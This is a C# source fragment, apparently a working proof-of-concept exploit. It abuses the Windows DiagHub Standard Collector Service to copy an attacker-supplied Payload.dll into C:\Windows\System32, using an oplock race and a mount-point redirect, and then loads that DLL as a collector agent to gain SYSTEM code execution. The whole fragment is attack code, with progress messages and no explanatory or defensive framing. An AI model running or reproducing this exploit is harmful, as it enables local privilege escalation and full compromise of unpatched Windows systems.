public virtual extern ICollectionSession CreateSession(
     [In] ref SessionConfiguration sessionConfig,
     [MarshalAs(UnmanagedType.Interface)][In] IStandardCollectorClientDelegate clientDelegate = null
     );
        public static void Main(string[] args)
        {
            if (!File.Exists("Payload.dll"))
            {
                Console.WriteLine("Put Payload.dll in current directory");
                return;
            }

            NtFile ntFile;
            var    sessionId = Guid.NewGuid();
            var    bytes     = File.ReadAllBytes("Payload.dll");
            // F12 = Developer Tools in IE/Edge, which also uses DiagHub Collector Service for profiling
            // This can be any user-writable folder though
            var scratch = $@"C:\Users\{Environment.UserName}\AppData\Local\Temp\Microsoft\F12\perftools\visualprofiler";

            Console.WriteLine("[-] Creating scratch directory");
            if (!Directory.Exists(scratch))
            {
                Directory.CreateDirectory(scratch);
            }

            // Create sessions config with sessionId, procId, and scratch location
            var procId = Process.GetCurrentProcess().Id;
            var sessionConfiguration = new SessionConfiguration
            {
                ClientLocale             = (ushort)CultureInfo.InvariantCulture.LCID,
                CollectorScratch         = scratch,
                Location                 = CollectionLocation.Local,
                Flags                    = SessionConfigurationFlags.None,
                LifetimeMonitorProcessId = (uint)procId,
                SessionId                = sessionId,
                Type = CollectionType.Etw
            };

            // Use the default collector agent: {E485D7A9-C21B-4903-892E-303C10906F6E} DiagnosticsHub.StandardCollector.Runtime.dll
            var agents = new Dictionary <Guid, string>
            {
                { DefaultAgent.Clsid, DefaultAgent.AssemblyName }
            };
            var procIds = new List <uint> {
                (uint)procId
            };

            Console.WriteLine("[-] Creating instance of IStandardCollectorService");
            _service = GetCollectorService();

            Console.WriteLine("[-] Setting proxy blanket for service");
            SetProxyBlanketForService(_service);

            Console.WriteLine("[-] Starting collector service session");
            Start(sessionConfiguration, agents, procIds);

            Console.WriteLine($"[-] Getting session: {sessionId}");
            var session = _service.GetSession(sessionId);

            Console.WriteLine("[-] Querying session state");
            session.QueryState();
            new Thread(() =>
            {
                Thread.Sleep(500); // This helps populate the .etl file
                try
                {
                    Console.WriteLine("[-] Getting current session result");
                    session.GetCurrentResult(false); // Triggers createion of merged 1.m.etl file
                }
                catch (Exception) { }
            }).Start();

            var reportDir = $@"{scratch}\Report.{sessionId}.1";
            var etlFile   = $"{sessionId}.1.m.etl";

            Console.WriteLine($"[-] Attempting to open {etlFile} with OpLock");
            while (true)
            {
                // Get handle immediately upon service closing file
                try
                {
                    ntFile = NtFile.Open($@"\??\{scratch}\{etlFile}", null,
                                         FileAccessRights.GenericRead | FileAccessRights.GenericWrite |
                                         FileAccessRights.MaximumAllowed | FileAccessRights.Synchronize,
                                         FileShareMode.None,
                                         FileOpenOptions.NonDirectoryFile | FileOpenOptions.OpenRequiringOplock |
                                         FileOpenOptions.SynchronousIoNonAlert);

                    if (ntFile.OpenResult != FileOpenResult.Opened)
                    {
                        continue;
                    }
                    Console.WriteLine($"[+] Opened with handle: {ntFile.Handle.DangerousGetHandle()}");
                    break;
                }
                catch (Exception) { }
            }

            // Attempt to find the random sub-directory and then create mount point to System32
            try
            {
                Console.WriteLine($"[-] Looking for sub-directories in {reportDir}");
                while (true)
                {
                    if (!Directory.Exists(reportDir))
                    {
                        continue;
                    }

                    var dirs = Directory.GetDirectories(reportDir);
                    if (dirs.Length != 1) // Very rare, but did happen during testing
                    {
                        throw new Exception("Didn't find exactly 1 subdirectory, try running again");
                    }

                    Console.WriteLine($"[+] Found sub-directory: {dirs[0]}");
                    Console.WriteLine($@"[-] Creating mount point: \??\{dirs[0]} -> \??\C:\Windows\System32");
                    NtFile.CreateMountPoint($@"\??\{dirs[0]}", @"\??\C:\Windows\System32", null);
                    break;
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine($"[!] Failed to create mount point: {ex.Message}");
            }

            // Overwrite the contents of etl file with payload DLL
            try
            {
                Console.WriteLine($"[-] Overwriting {etlFile} with DLL bytes");
                ntFile.Write(bytes);
                ntFile.SetEndOfFile(bytes.Length);
                ntFile.Close();
            }
            catch (Exception ex)
            {
                Console.WriteLine($"[!] Error writing bytes... {ex.Message}");
            }

            Console.WriteLine("[-] Stopping session to trigger CopyFile");
            _service.GetSession(sessionId).Stop();

            // Wait a second and then check to see if file was copied
            Thread.Sleep(1000);
            if (File.Exists($@"C:\Windows\System32\{etlFile}"))
            {
                Console.WriteLine($@"[+] DLL successfully copied to C:\Windows\System32\{etlFile}");
            }

            // Setup agents with path to copied etlFile (malicious DLL)
            var badAgent = new Dictionary <Guid, string>
            {
                { DefaultAgent.Clsid, DefaultAgent.AssemblyName },
                { sessionId, etlFile }
            };

            Console.WriteLine("[-] Getting new collector service");
            _service = GetCollectorService();

            SetProxyBlanketForService(_service);
            Console.WriteLine("[-] Starting session with DLL payload");
            Start(sessionConfiguration, badAgent, procIds);
            Console.WriteLine($@"[+] All Done! Remember to delete the DLL: C:\Windows\System32\{etlFile}");
            Console.ReadLine();
        }